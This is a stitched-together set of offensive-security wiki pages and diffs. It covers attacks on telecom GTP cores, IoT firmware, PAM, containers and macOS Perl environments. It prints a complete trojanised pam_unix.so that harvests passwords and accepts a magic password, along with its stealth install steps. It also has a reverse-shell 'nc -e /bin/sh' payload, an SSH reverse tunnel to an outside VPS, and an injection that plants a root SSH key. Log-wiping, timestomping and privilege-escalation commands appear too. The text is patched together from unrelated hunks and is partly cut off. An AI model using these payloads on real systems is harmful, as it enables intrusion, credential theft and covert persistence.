> Mobile-core protocols (GPRS Tunnelling Protocol – GTP) often traverse semi-trusted GRX/IPX roaming backbones. Because they ride on plain UDP with almost no authentication, **any foothold inside a telecom perimeter can usually reach core signalling planes directly**. The following notes collect offensive tricks observed in the wild against SGSN/GGSN, PGW/SGW and other EPC nodes.
|
||||
|
||||
## 1. Recon & Initial Access
|
||||
|
||||
### 1.1 Default OSS / NE Accounts
|
||||
A surprisingly large set of vendor network elements ship with hard-coded SSH/Telnet users such as `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … A dedicated wordlist dramatically increases brute-force success:
|
||||
|
||||
```bash
|
||||
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
|
||||
```
|
||||
|
||||
If the device exposes only a management VRF, pivot through a jump host first (see section «SGSN Emu Tunnel» below).
|
||||
|
||||
### 1.2 Host Discovery inside GRX/IPX
|
||||
Most GRX operators still allow **ICMP echo** across the backbone. Combine `masscan` with the built-in `gtpv1` UDP probes to quickly map GTP-C listeners:
|
||||
|
||||
```bash
|
||||
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
|
||||
```
|
||||
|
||||
## 2. Enumerating Subscribers – `cordscan`
|
||||
|
||||
The following Go tool crafts **GTP-C Create PDP Context Request** packets and logs the responses. Each reply reveals the current **SGSN / MME** serving the queried IMSI and, sometimes, the subscriber’s visited PLMN.
|
||||
|
||||
```bash
|
||||
# Build
|
||||
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
|
||||
# Usage (typical):
|
||||
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
|
||||
```
|
||||
Key flags:
|
||||
- `--imsi` Target subscriber IMSI
|
||||
- `--oper` Home / HNI (MCC+MNC)
|
||||
- `-w` Write raw packets to pcap
|
||||
|
||||
Important constants inside the binary can be patched to widen scans:
|
||||
|
||||
```
|
||||
pingtimeout = 3 // seconds before giving up
|
||||
pco = 0x218080
|
||||
common_tcp_ports = "22,23,80,443,8080"
|
||||
```
|
||||
|
||||
## 3. Code Execution over GTP – `GTPDoor`
|
||||
|
||||
`GTPDoor` is a tiny ELF service that **binds UDP 2123 and parses every incoming GTP-C packet**. When the payload starts with a pre-shared tag, the remainder is decrypted (AES-128-CBC) and executed via `/bin/sh -c`. The stdout/stderr are exfiltrated inside **Echo Response** messages so that no outward session is ever created.
|
||||
|
||||
Minimal PoC packet (Python):
|
||||
|
||||
```python
|
||||
import gtpc, Crypto.Cipher.AES as AES
|
||||
key = b"SixteenByteKey!"
|
||||
cmd = b"id;uname -a"
|
||||
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
|
||||
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
|
||||
```
|
||||
|
||||
Detection:
|
||||
* any host sending **unbalanced Echo Requests** to SGSN IPs
|
||||
* GTP version flag set to 1 while message type = 1 (Echo) – deviation from spec
|
||||
|
||||
## 4. Pivoting Through the Core
|
||||
|
||||
### 4.1 `sgsnemu` + SOCKS5
|
||||
`OsmoGGSN` ships an SGSN emulator able to **establish a PDP context towards a real GGSN/PGW**. Once negotiated, Linux receives a new `tun0` interface reachable from the roaming peer.
|
||||
|
||||
```bash
|
||||
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
|
||||
-APN internet -c 1 -d
|
||||
ip route add 172.16.0.0/12 dev tun0
|
||||
microsocks -p 1080 & # internal SOCKS proxy
|
||||
```
|
||||
|
||||
With proper firewall hair-pinning, this tunnel bypasses signalling-only VLANs and lands you directly in the **data plane**.
|
||||
|
||||
### 4.2 SSH Reverse Tunnel over Port 53
|
||||
DNS is almost always open in roaming infrastructures. Expose an internal SSH service to your VPS listening on :53 and return later from home:
|
||||
|
||||
```bash
|
||||
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
|
||||
```
|
||||
Check that `GatewayPorts yes` is enabled on the VPS.
|
||||
|
||||
## 5. Covert Channels
|
||||
|
||||
| Channel | Transport | Decoding | Notes |
|
||||
|---------|-----------|----------|-------|
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | pure passive listener, no outbound traffic |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | watches for `*.nodep` sub-domain |
|
||||
| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | blends with legitimate GTP-C chatter |
|
||||
|
||||
All implants implement watchdogs that **timestomp** their binaries and re-spawn if crashed.
|
||||
|
||||
## 6. Defense Evasion Cheatsheet
|
||||
|
||||
```bash
|
||||
# Remove attacker IPs from wtmp
|
||||
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
|
||||
|
||||
# Disable bash history
|
||||
export HISTFILE=/dev/null
|
||||
|
||||
# Masquerade as kernel thread
|
||||
echo 0 > /proc/$$/autogroup # hide from top/htop
|
||||
printf '\0' > /proc/$$/comm # appears as [kworker/1]
|
||||
|
||||
touch -r /usr/bin/time /usr/bin/chargen # timestomp
|
||||
setenforce 0 # disable SELinux
|
||||
```
|
||||
|
||||
## 7. Privilege Escalation on Legacy NE
|
||||
|
||||
```bash
|
||||
# DirtyCow – CVE-2016-5195
|
||||
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
|
||||
|
||||
# PwnKit – CVE-2021-4034
|
||||
python3 PwnKit.py
|
||||
|
||||
# Sudo Baron Samedit – CVE-2021-3156
|
||||
python3 exploit_userspec.py
|
||||
```
|
||||
|
||||
Clean-up tip:
|
||||
```bash
|
||||
userdel firefart 2>/dev/null
|
||||
rm -f /tmp/sh ; history -c
|
||||
```
|
||||
|
||||
## 8. Tool Box
|
||||
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – custom tooling described in previous sections.
|
||||
* `FScan` : intranet TCP sweeps (`fscan -p 22,80,443 10.0.0.0/24`)
|
||||
* `Responder` : LLMNR/NBT-NS rogue WPAD
|
||||
* `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting
|
||||
* `FRP` (≥0.37) : NAT traversal / asset bridging
|
||||
|
||||
---
|
||||
## Detection Ideas
|
||||
1. **Any device other than an SGSN/GGSN establishing Create PDP Context Requests**.
|
||||
2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** from internal IPs.
|
||||
3. **Frequent Echo Requests without corresponding Echo Responses** – might indicate GTPDoor beacons.
|
||||
4. **High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields**.
|
||||
|
||||
## References
|
||||
|
||||
- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
|
||||
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
|
||||
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -225,6 +225,53 @@ Operating systems like [AttifyOS](https://github.com/adi0x90/attifyos) and [Embe
|
||||
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS is a distro intended to help you perform security assessment and penetration testing of Internet of Things (IoT) devices. It saves you a lot of time by providing a pre-configured environment with all the necessary tools loaded.
|
||||
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Embedded security testing operating system based on Ubuntu 18.04 preloaded with firmware security testing tools.
|
||||
|
||||
## Firmware Downgrade Attacks & Insecure Update Mechanisms
|
||||
|
||||
Even when a vendor implements cryptographic signature checks for firmware images, **version rollback (downgrade) protection is frequently omitted**. When the boot- or recovery-loader only verifies the signature with an embedded public key but does not compare the *version* (or a monotonic counter) of the image being flashed, an attacker can legitimately install an **older, vulnerable firmware that still bears a valid signature** and thus re-introduce patched vulnerabilities.
|
||||
|
||||
Typical attack workflow:
|
||||
|
||||
1. **Obtain an older signed image**
|
||||
* Grab it from the vendor’s public download portal, CDN or support site.
|
||||
* Extract it from companion mobile/desktop applications (e.g. inside an Android APK under `assets/firmware/`).
|
||||
* Retrieve it from third-party repositories such as VirusTotal, Internet archives, forums, etc.
|
||||
2. **Upload or serve the image to the device** via any exposed update channel:
|
||||
* Web UI, mobile-app API, USB, TFTP, MQTT, etc.
|
||||
* Many consumer IoT devices expose *unauthenticated* HTTP(S) endpoints that accept Base64-encoded firmware blobs, decode them server-side and trigger recovery/upgrade.
|
||||
3. After the downgrade, exploit a vulnerability that was patched in the newer release (for example a command-injection filter that was added later).
|
||||
4. Optionally flash the latest image back or disable updates to avoid detection once persistence is gained.
|
||||
|
||||
### Example: Command Injection After Downgrade
|
||||
|
||||
```http
|
||||
POST /check_image_and_trigger_recovery?md5=1; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...' >> /root/.ssh/authorized_keys HTTP/1.1
|
||||
Host: 192.168.0.1
|
||||
Content-Type: application/octet-stream
|
||||
Content-Length: 0
|
||||
```
|
||||
|
||||
In the vulnerable (downgraded) firmware, the `md5` parameter is concatenated directly into a shell command without sanitisation, allowing injection of arbitrary commands (here – enabling SSH key-based root access). Later firmware versions introduced a basic character filter, but the absence of downgrade protection renders the fix moot.
|
||||
|
||||
### Extracting Firmware From Mobile Apps
|
||||
|
||||
Many vendors bundle full firmware images inside their companion mobile applications so that the app can update the device over Bluetooth/Wi-Fi. These packages are commonly stored unencrypted in the APK/APEX under paths like `assets/fw/` or `res/raw/`. Tools such as `apktool`, `ghidra`, or even plain `unzip` allow you to pull signed images without touching the physical hardware.
|
||||
|
||||
```
|
||||
$ apktool d vendor-app.apk -o vendor-app
|
||||
$ ls vendor-app/assets/firmware
|
||||
firmware_v1.3.11.490_signed.bin
|
||||
```
|
||||
|
||||
### Checklist for Assessing Update Logic
|
||||
|
||||
* Is the transport/authentication of the *update endpoint* adequately protected (TLS + authentication)?
|
||||
* Does the device compare **version numbers** or a **monotonic anti-rollback counter** before flashing?
|
||||
* Is the image verified inside a secure boot chain (e.g. signatures checked by ROM code)?
|
||||
* Does userland code perform additional sanity checks (e.g. allowed partition map, model number)?
|
||||
* Are *partial* or *backup* update flows re-using the same validation logic?
|
||||
|
||||
> 💡 If any of the above are missing, the platform is probably vulnerable to rollback attacks.
|
||||
|
||||
## Vulnerable firmware to practice
|
||||
|
||||
To practice discovering vulnerabilities in firmware, use the following vulnerable firmware projects as a starting point.
|
||||
@ -246,6 +293,7 @@ To practice discovering vulnerabilities in firmware, use the following vulnerabl
|
||||
|
||||
- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
|
||||
- [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
|
||||
|
||||
## Trainning and Cert
|
||||
|
||||
|
@ -340,6 +340,28 @@ bypass-fs-protections-read-only-no-exec-distroless/
|
||||
../privilege-escalation/escaping-from-limited-bash.md
|
||||
{{#endref}}
|
||||
|
||||
## Space-Based Bash NOP Sled ("Bashsledding")
|
||||
|
||||
When a vulnerability lets you partially control an argument that ultimately reaches `system()` or another shell, you may not know the exact offset at which execution starts reading your payload. Traditional NOP sleds (e.g. `\x90`) do **not** work in shell syntax, but Bash will harmlessly ignore leading whitespace before executing a command.
|
||||
|
||||
Therefore you can create a *NOP sled for Bash* by prefixing your real command with a long sequence of spaces or tab characters:
|
||||
|
||||
```bash
|
||||
# Payload sprayed into an environment variable / NVRAM entry
|
||||
" nc -e /bin/sh 10.0.0.1 4444"
|
||||
# 16× spaces ───┘ ↑ real command
|
||||
```
|
||||
|
||||
If a ROP chain (or any memory-corruption primitive) lands the instruction pointer anywhere within the space block, the Bash parser simply skips the whitespace until it reaches `nc`, executing your command reliably.
|
||||
|
||||
Practical use cases:
|
||||
|
||||
1. **Memory-mapped configuration blobs** (e.g. NVRAM) that are accessible across processes.
|
||||
2. Situations where the attacker can not write NULL bytes to align the payload.
|
||||
3. Embedded devices where only BusyBox `ash`/`sh` is available – they also ignore leading spaces.
|
||||
|
||||
> 🛠️ Combine this trick with ROP gadgets that call `system()` to dramatically increase exploit reliability on memory-constrained IoT routers.
|
||||
|
||||
## References & More
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
|
||||
@ -347,6 +369,8 @@ bypass-fs-protections-read-only-no-exec-distroless/
|
||||
- [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
|
||||
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secju
|
||||
|
||||
- [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
@ -48,9 +48,67 @@ Controls dictate the module's response to success or failure, influencing the ov
|
||||
|
||||
In a setup with multiple auth modules, the process follows a strict order. If the `pam_securetty` module finds the login terminal unauthorized, root logins are blocked, yet all modules are still processed due to its "required" status. The `pam_env` sets environment variables, potentially aiding in user experience. The `pam_ldap` and `pam_unix` modules work together to authenticate the user, with `pam_unix` attempting to use a previously supplied password, enhancing efficiency and flexibility in authentication methods.
|
||||
|
||||
|
||||
## Backdooring PAM – Hooking `pam_unix.so`
|
||||
|
||||
A classic persistence trick in high-value Linux environments is to **swap the legitimate PAM library with a trojanised drop-in**. Because every SSH / console login ends up calling `pam_unix.so:pam_sm_authenticate()`, a few lines of C are enough to capture credentials or implement a *magic* password bypass.
|
||||
|
||||
### Compilation Cheatsheet
|
||||
```c
|
||||
#define _GNU_SOURCE
|
||||
#include <security/pam_modules.h>
|
||||
#include <dlfcn.h>
|
||||
#include <stdio.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
|
||||
static int (*orig)(pam_handle_t *, int, int, const char **);
|
||||
static const char *MAGIC = "Sup3rS3cret!";
|
||||
|
||||
int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
|
||||
const char *user, *pass;
|
||||
pam_get_user(pamh, &user, NULL);
|
||||
pam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL);
|
||||
|
||||
/* Magic pwd → immediate success */
|
||||
if(pass && strcmp(pass, MAGIC) == 0) return PAM_SUCCESS;
|
||||
|
||||
/* Credential harvesting */
|
||||
int fd = open("/usr/bin/.dbus.log", O_WRONLY|O_APPEND|O_CREAT, 0600);
|
||||
dprintf(fd, "%s:%s\n", user, pass);
|
||||
close(fd);
|
||||
|
||||
/* Fall back to original function */
|
||||
if(!orig) {
|
||||
orig = dlsym(RTLD_NEXT, "pam_sm_authenticate");
|
||||
}
|
||||
return orig(pamh, flags, argc, argv);
|
||||
}
|
||||
```
|
||||
|
||||
Compile and stealth-replace:
|
||||
```bash
|
||||
gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam
|
||||
mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak
|
||||
mv pam_unix.so /lib/security/pam_unix.so
|
||||
chmod 644 /lib/security/pam_unix.so # keep original perms
|
||||
touch -r /bin/ls /lib/security/pam_unix.so # timestomp
|
||||
```
|
||||
|
||||
### OpSec Tips
|
||||
1. **Atomic overwrite** – write to a temp file and `mv` into place to avoid half-written libraries that would lock out SSH.
|
||||
2. Log file placement such as `/usr/bin/.dbus.log` blends with legitimate desktop artefacts.
|
||||
3. Keep symbol exports identical (`pam_sm_setcred`, etc.) to avoid PAM mis-behaviour.
|
||||
|
||||
### Detection
|
||||
* Compare MD5/SHA256 of `pam_unix.so` against distro package.
|
||||
* Check for world-writable or unusual ownership under `/lib/security/`.
|
||||
* `auditd` rule: `-w /lib/security/pam_unix.so -p wa -k pam-backdoor`.
|
||||
|
||||
### References
|
||||
|
||||
- [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434)
|
||||
- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
@ -299,6 +299,7 @@ Mounting certain host Unix sockets or writable pseudo-filesystems is equivalent
|
||||
/run/containerd/containerd.sock # containerd CRI socket
|
||||
/var/run/crio/crio.sock # CRI-O runtime socket
|
||||
/run/podman/podman.sock # Podman API (rootful or rootless)
|
||||
/run/buildkit/buildkitd.sock # BuildKit daemon (rootful)
|
||||
/var/run/kubelet.sock # Kubelet API on Kubernetes nodes
|
||||
/run/firecracker-containerd.sock # Kata / Firecracker
|
||||
```
|
||||
@ -332,7 +333,7 @@ When the last process leaves the cgroup, `/tmp/pwn` runs **as root on the host**
|
||||
### Mount-Related Escape CVEs (2023-2025)
|
||||
|
||||
* **CVE-2024-21626 – runc “Leaky Vessels” file-descriptor leak**
|
||||
runc ≤1.1.11 leaked an open directory file descriptor that could point to the host root. A malicious image or `docker exec` could start a container whose *working directory* is already on the host filesystem, enabling arbitrary file read/write and privilege escalation. Fixed in runc 1.1.12 (Docker ≥25.0.3, containerd ≥1.7.14).
|
||||
runc ≤ 1.1.11 leaked an open directory file descriptor that could point to the host root. A malicious image or `docker exec` could start a container whose *working directory* is already on the host filesystem, enabling arbitrary file read/write and privilege escalation. Fixed in runc 1.1.12 (Docker ≥ 25.0.3, containerd ≥ 1.7.14).
|
||||
|
||||
```Dockerfile
|
||||
FROM scratch
|
||||
@ -343,11 +344,17 @@ When the last process leaves the cgroup, `/tmp/pwn` runs **as root on the host**
|
||||
* **CVE-2024-23651 / 23653 – BuildKit OverlayFS copy-up TOCTOU**
|
||||
A race condition in the BuildKit snapshotter let an attacker replace a file that was about to be *copy-up* into the container’s rootfs with a symlink to an arbitrary path on the host, gaining write access outside the build context. Fixed in BuildKit v0.12.5 / Buildx 0.12.0. Exploitation requires an untrusted `docker build` on a vulnerable daemon.
|
||||
|
||||
* **CVE-2024-1753 – Buildah / Podman bind-mount breakout during `build`**
|
||||
Buildah ≤ 1.35.0 (and Podman ≤ 4.9.3) incorrectly resolved absolute paths passed to `--mount=type=bind` in a *Containerfile*. A crafted build stage could mount `/` from the host **read-write** inside the build container when SELinux was disabled or in permissive mode, leading to full escape at build time. Patched in Buildah 1.35.1 and the corresponding Podman 4.9.4 back-port series.
|
||||
|
||||
* **CVE-2024-40635 – containerd UID integer overflow**
|
||||
Supplying a `User` value larger than `2147483647` in an image config overflowed the 32-bit signed integer and started the process as UID 0 inside the host user namespace. Workloads expected to run as non-root could therefore obtain root privileges. Fixed in containerd 1.6.38 / 1.7.27 / 2.0.4.
|
||||
|
||||
### Hardening Reminders (2025)
|
||||
|
||||
1. Bind-mount host paths **read-only** whenever possible and add `nosuid,nodev,noexec` mount options.
|
||||
2. Prefer dedicated side-car proxies or rootless clients instead of exposing the runtime socket directly.
|
||||
3. Keep the container runtime up-to-date (runc ≥1.1.12, BuildKit ≥0.12.5, containerd ≥1.7.14).
|
||||
3. Keep the container runtime up-to-date (runc ≥ 1.1.12, BuildKit ≥ 0.12.5, Buildah ≥ 1.35.1 / Podman ≥ 4.9.4, containerd ≥ 1.7.27).
|
||||
4. In Kubernetes, use `securityContext.readOnlyRootFilesystem: true`, the *restricted* PodSecurity profile and avoid `hostPath` volumes pointing to the paths listed above.
|
||||
|
||||
### References
|
||||
@ -357,6 +364,8 @@ When the last process leaves the cgroup, `/tmp/pwn` runs **as root on the host**
|
||||
- [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
|
||||
- [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf)
|
||||
- [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf)
|
||||
- [Buildah CVE-2024-1753 advisory](https://github.com/containers/buildah/security/advisories/GHSA-pmf3-c36m-g5cf)
|
||||
- [containerd CVE-2024-40635 advisory](https://github.com/containerd/containerd/security/advisories/GHSA-265r-hfxg-fhmg)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Via `PERL5OPT` & `PERL5LIB` env variable
|
||||
|
||||
Using the env variable PERL5OPT it's possible to make perl execute arbitrary commands.\
|
||||
Using the env variable **`PERL5OPT`** it's possible to make **Perl** execute arbitrary commands when the interpreter starts (even **before** the first line of the target script is parsed).
|
||||
For example, create this script:
|
||||
|
||||
```perl:test.pl
|
||||
@ -28,21 +28,35 @@ system('whoami');
|
||||
1; # Modules must return a true value
|
||||
```
|
||||
|
||||
And then use the env variables:
|
||||
And then use the env variables so the module is located and loaded automatically:
|
||||
|
||||
```bash
|
||||
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
|
||||
PERL5LIB=/tmp/ PERL5OPT=-Mpmod perl victim.pl
|
||||
```
|
||||
|
||||
## Via dependencies
|
||||
### Other interesting environment variables
|
||||
|
||||
It's possible to list the dependencies folder order of Perl running:
|
||||
* **`PERL5DB`** – when the interpreter is started with the **`-d`** (debugger) flag, the content of `PERL5DB` is executed as Perl code *inside* the debugger context.
|
||||
If you can influence both the environment **and** the command-line flags of a privileged Perl process you can do something like:
|
||||
|
||||
```bash
|
||||
export PERL5DB='system("/bin/zsh")'
|
||||
sudo perl -d /usr/bin/some_admin_script.pl # will drop a shell before executing the script
|
||||
```
|
||||
|
||||
* **`PERL5SHELL`** – on Windows this variable controls which shell executable Perl will use when it needs to spawn a shell. It is mentioned here only for completeness, as it is not relevant on macOS.
|
||||
|
||||
Although `PERL5DB` requires the `-d` switch, it is common to find maintenance or installer scripts that are executed as *root* with this flag enabled for verbose troubleshooting, making the variable a valid escalation vector.
|
||||
|
||||
## Via dependencies (@INC abuse)
|
||||
|
||||
It is possible to list the include path that Perl will search (**`@INC`**) running:
|
||||
|
||||
```bash
|
||||
perl -e 'print join("\n", @INC)'
|
||||
```
|
||||
|
||||
Which will return something like:
|
||||
Typical output on macOS 13/14 looks like:
|
||||
|
||||
```bash
|
||||
/Library/Perl/5.30/darwin-thread-multi-2level
|
||||
@ -56,20 +70,48 @@ Which will return something like:
|
||||
/System/Library/Perl/Extras/5.30
|
||||
```
|
||||
|
||||
Some of the returned folders doesn't even exist, however, **`/Library/Perl/5.30`** does **exist**, it's **not** **protected** by **SIP** and it's **before** the folders **protected by SIP**. Therefore, someone could abuse that folder to add script dependencies in there so a high privilege Perl script will load it.
|
||||
Some of the returned folders don’t even exist, however **`/Library/Perl/5.30`** does exist, is *not* protected by SIP and is *before* the SIP-protected folders. Therefore, if you can write as *root* you may drop a malicious module (e.g. `File/Basename.pm`) that will be *preferentially* loaded by any privileged script importing that module.
|
||||
|
||||
> [!WARNING]
|
||||
> However, note that you **need to be root to write in that folder** and nowadays you will get this **TCC prompt**:
|
||||
> You still need **root** to write inside `/Library/Perl` and macOS will show a **TCC** prompt asking for *Full Disk Access* for the process performing the write operation.
|
||||
|
||||
<figure><img src="../../../images/image (28).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
For example, if a script is importing **`use File::Basename;`** it would be possible to create `/Library/Perl/5.30/File/Basename.pm` containing attacker-controlled code.
|
||||
|
||||
For example, if a script is importing **`use File::Basename;`** it would be possible to create `/Library/Perl/5.30/File/Basename.pm` to make it execute arbitrary code.
|
||||
## SIP bypass via Migration Assistant (CVE-2023-32369 “Migraine”)
|
||||
|
||||
In May 2023 Microsoft disclosed **CVE-2023-32369**, nick-named **Migraine**, a post-exploitation technique that allows a *root* attacker to completely **bypass System Integrity Protection (SIP)**.
|
||||
The vulnerable component is **`systemmigrationd`**, a daemon entitled with **`com.apple.rootless.install.heritable`**. Any child process spawned by this daemon inherits the entitlement and therefore runs **outside** SIP restrictions.
|
||||
|
||||
Among the children identified by the researchers is the Apple-signed interpreter:
|
||||
|
||||
```
|
||||
/usr/bin/perl /usr/libexec/migrateLocalKDC …
|
||||
```
|
||||
|
||||
Because Perl honors `PERL5OPT` (and Bash honors `BASH_ENV`), poisoning the daemon’s *environment* is enough to gain arbitrary execution in a SIP-less context:
|
||||
|
||||
```bash
|
||||
# As root
|
||||
launchctl setenv PERL5OPT '-Mwarnings;system("/private/tmp/migraine.sh")'
|
||||
|
||||
# Trigger a migration (or just wait – systemmigrationd will eventually spawn perl)
|
||||
open -a "Migration Assistant.app" # or programmatically invoke /System/Library/PrivateFrameworks/SystemMigration.framework/Resources/MigrationUtility
|
||||
```
|
||||
|
||||
When `migrateLocalKDC` runs, `/usr/bin/perl` starts with the malicious `PERL5OPT` and executes `/private/tmp/migraine.sh` *before SIP is re-enabled*. From that script you can, for instance, copy a payload inside **`/System/Library/LaunchDaemons`** or assign the `com.apple.rootless` extended attribute to make a file **undeletable**.
|
||||
|
||||
Apple fixed the issue in macOS **Ventura 13.4**, **Monterey 12.6.6** and **Big Sur 11.7.7**, but older or un-patched systems remain exploitable.
|
||||
|
||||
## Hardening recommendations
|
||||
|
||||
1. **Clear dangerous variables** – privileged launchdaemons or cron jobs should start with a pristine environment (`launchctl unsetenv PERL5OPT`, `env -i`, etc.).
|
||||
2. **Avoid running interpreters as root** unless strictly necessary. Use compiled binaries or drop privileges early.
|
||||
3. **Vendor scripts with `-T` (taint mode)** so that Perl ignores `PERL5OPT` and other unsafe switches when taint checking is enabled.
|
||||
4. **Keep macOS up to date** – “Migraine” is fully patched in current releases.
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.youtube.com/watch?v=zxZesAN-TEk](https://www.youtube.com/watch?v=zxZesAN-TEk)
|
||||
- Microsoft Security Blog – “New macOS vulnerability, Migraine, could bypass System Integrity Protection” (CVE-2023-32369), May 30 2023.
|
||||
- Hackyboiz – “macOS SIP Bypass (PERL5OPT & BASH_ENV) research”, May 2025.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
@ -17,7 +17,7 @@ Check if any is enabled running:
|
||||
```bash
|
||||
rmMgmt=$(netstat -na | grep LISTEN | grep tcp46 | grep "*.3283" | wc -l);
|
||||
scrShrng=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.5900" | wc -l);
|
||||
flShrng=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | egrep "\*.88|\*.445|\*.548" | wc -l);
|
||||
flShrng=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | egrep "\\*.88|\\*.445|\\*.548" | wc -l);
|
||||
rLgn=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.22" | wc -l);
|
||||
rAE=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.3031" | wc -l);
|
||||
bmM=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.4488" | wc -l);
|
||||
@ -38,6 +38,28 @@ sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resourc
|
||||
|
||||
ARD provides versatile control levels, including observation, shared control, and full control, with sessions persisting even after user password changes. It allows sending Unix commands directly, executing them as root for administrative users. Task scheduling and Remote Spotlight search are notable features, facilitating remote, low-impact searches for sensitive files across multiple machines.
|
||||
|
||||
#### Recent Screen-Sharing / ARD vulnerabilities (2023-2025)
|
||||
|
||||
| Year | CVE | Component | Impact | Fixed in |
|
||||
|------|-----|-----------|--------|----------|
|
||||
|2023|CVE-2023-42940|Screen Sharing|Incorrect session rendering could cause the *wrong* desktop or window to be transmitted, resulting in leakage of sensitive information|macOS Sonoma 14.2.1 (Dec 2023) |
|
||||
|2024|CVE-2024-23296|launchservicesd / login|Kernel memory-protection bypass that can be chained after a successful remote login (actively exploited in the wild)|macOS Ventura 13.6.4 / Sonoma 14.4 (Mar 2024) |
|
||||
|
||||
**Hardening tips**
|
||||
|
||||
* Disable *Screen Sharing*/*Remote Management* when not strictly required.
|
||||
* Keep macOS fully patched (Apple generally ships security fixes for the last three major releases).
|
||||
* Use a **Strong Password** *and* enforce the *“VNC viewers may control screen with password”* option **disabled** when possible.
|
||||
* Put the service behind a VPN instead of exposing TCP 5900/3283 to the Internet.
|
||||
* Add an Application Firewall rule to limit `ARDAgent` to the local subnet:
|
||||
|
||||
```bash
|
||||
sudo /usr/libexec/ApplicationFirewall/socketfilterfw --add /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent
|
||||
sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setblockapp /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent on
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Bonjour Protocol
|
||||
|
||||
Bonjour, an Apple-designed technology, allows **devices on the same network to detect each other's offered services**. Known also as Rendezvous, **Zero Configuration**, or Zeroconf, it enables a device to join a TCP/IP network, **automatically choose an IP address**, and broadcast its services to other network devices.
|
||||
@ -111,6 +133,43 @@ finally:
|
||||
zeroconf.close()
|
||||
```
|
||||
|
||||
### Enumerating Bonjour over the network
|
||||
|
||||
* **Nmap NSE** – discover services advertised by a single host:
|
||||
|
||||
